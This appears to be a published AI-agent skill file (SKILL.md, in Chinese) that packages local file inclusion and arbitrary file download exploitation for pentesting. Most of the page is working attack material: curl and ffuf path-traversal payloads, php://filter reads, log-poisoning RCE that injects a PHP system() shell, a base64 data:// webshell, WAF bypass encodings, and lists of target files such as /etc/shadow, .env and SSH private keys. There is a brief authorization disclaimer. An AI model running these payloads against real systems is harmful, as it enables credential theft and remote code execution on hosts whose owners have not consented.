exploit-file-download

star 215

任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

crazyMarky By crazyMarky schedule Updated 3/5/2026

name: exploit-file-download description: 任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

任意文件下载与 LFI 检测和利用

授权声明

本 Skill 仅用于授权安全测试。使用前请确保:

  • 获得目标系统所有者的明确书面授权
  • 测试范围和授权内容已明确定义
  • 遵守当地法律法规

未经授权的渗透测试是非法行为。


概述

本 Skill 专注于任意文件下载本地文件包含 (LFI) 类型漏洞的检测与利用。

注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力


核心功能

1. LFI 漏洞检测

自动识别以下 LFI 特征:

  • 文件包含模式:参数值被直接用作 include()require() 的文件路径
  • 目录遍历模式../ 序列用于遍历目录
  • 伪协议利用php://filterphp://input
  • 路径长度限制:超长路径可能被截断
  • 特殊字符%00 空字节可能绕过扩展名检查

2. 常见 LFI Payload

类型 Payload 适用场景
文件包含 ?title=index.php 简单文件包含测试
路径遍历 ?title=../../../../etc/passwd Linux 目录遍历
伪协议 ?title=php://filter/convert.base64-encode/resource=/etc/passwd 读取敏感文件源码
Windows 路径 ?title=C:\\Windows\\win.ini Windows 文件读取
URL 编码 ?title=%2e%2e%2f%2e%2e%2fetc/passwd 绕过简单过滤

3. LFI 利用场景

  • 源码读取:读取 PHP 源码进行分析
  • 配置获取:读取数据库配置文件
  • 日志投毒:通过 LFI 写入日志获取 RCE
  • 图片马:配合文件上传 getshell

工具安装

必备工具

# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

# wget - 文件下载工具(通常已预装)
# macOS
brew install wget

# Ubuntu/Debian
apt-get install wget

可选工具

# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt

# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

使用方式

快速开始

# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"

# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

场景 1: 基础路径遍历测试

# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

场景 2: 伪协议利用

# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d

# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d

# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"

场景 3: 日志投毒 RCE

# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"

# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"

# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"

场景 4: 批量文件下载测试

# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200 \
     -t 50 \
     -o lfi_results.txt

# 使用 wget 批量下载
while read path; do
    wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt

场景 5: 绕过技术测试

# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"

# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"

# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"

# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"

工具选择指南

场景 推荐工具 命令示例
快速单点测试 curl curl "URL?file=../etc/passwd"
批量 Payload 测试 ffuf ffuf -u URL -w payloads.txt
文件下载保存 wget wget -O output.txt "URL"
目录深度枚举 自定义脚本 见下方深度测试脚本
响应内容分析 grep/diff grep -i "root:x:0" response.txt

深度测试脚本

#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度

URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}

for i in $(seq 1 $MAX_DEPTH); do
    payload=$(printf '../%.0s' $(seq 1 $i))
    response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")

    if echo "$response" | grep -q "root:x:0:0"; then
        echo "[+] 成功!深度:$i"
        echo "$response"
        break
    fi
    echo "[-] 深度 $i: 未匹配"
done

敏感文件路径清单

Linux 系统

# 系统用户信息
/etc/passwd
/etc/shadow        # 需要 root 权限
/etc/group
/etc/sudoers

# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ

# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa

# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog

Windows 系统

# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts

# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php

# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log

LFI Payload 清单

基础 Payload

../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/

编码 Payload

%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c

PHP 伪协议

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php

测试清单

侦察阶段

  • 识别所有可能存在 LFI 的参数(file, page, title, include, path, document)
  • 测试基础路径遍历(../)
  • 确认目标操作系统(Linux/Windows)
  • 测试伪协议可用性(php://filter)

利用阶段

  • 读取系统敏感文件(/etc/passwd, /etc/shadow)
  • 读取 Web 应用配置文件(.env, config.php)
  • 读取 PHP 源码分析应用逻辑
  • 尝试日志投毒获取 RCE
  • 尝试/proc/self/environ 利用

绕过测试

  • URL 编码绕过(%2e%2e%2f)
  • 双重 URL 编码(%252e%252e%252f)
  • Unicode 混淆(%c0%ae%c0%ae%c0%af)
  • 路径变体(.., ..//, ..././)
  • 空字节截断(%00)
  • 扩展名绕过(file.php.jpg, file.php.)

替代方案

如果主要工具不可用,可以使用以下替代方案:

主要工具 替代方案 说明
curl wget wget -qO- "URL" 等同于curl -s "URL"
ffuf gobuster gobuster dir -u URL -w payloads.txt
ffuf dirsearch dirsearch -u URL -e php
curl + grep httpx + nuclei 使用 nuclei LFI 模板

相关 Resources

  • 技术文档: references/lfi_techniques.md - LFI 完整技术详解
  • PHP 伪协议: references/php_wrappers.md - PHP wrapper 参考
  • 绕过技术: references/bypass_techniques.md - 编码和过滤绕过
  • RCE 方法: references/rce_methods.md - 远程代码执行汇总

与 results-storage 集成

发现 LFI 漏洞后,可以存储到数据库:

python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/download?file=../../etc/passwd" \
  --payload "../../etc/passwd" \
  --file-read "root:x:0:0:root:/root:/bin/bash" \
  --severity Critical \
  --subsystem "Web Application"

数据库位置: ./data/results.db

相关技能: results-storage - 查询数据、生成报告


最佳实践

  1. 始终编码 Payload - 使用 URL 编码避免被 WAF 拦截
  2. 从浅到深测试 - 先测试 1-2 层遍历,再逐步加深
  3. 记录响应长度 - 成功响应通常长度异常
  4. 使用 base64 - 读取源码时用 base64 避免代码执行
  5. 不要忽略 403/404 - 有些 WAF 返回假错误码

最后更新: 2026-03-05 版本: 2.0

Install via CLI
npx skills add https://github.com/crazyMarky/pentest-skills --skill exploit-file-download
Repository Details
star Stars 215
call_split Forks 26
navigation Branch main
article Path SKILL.md
More from Creator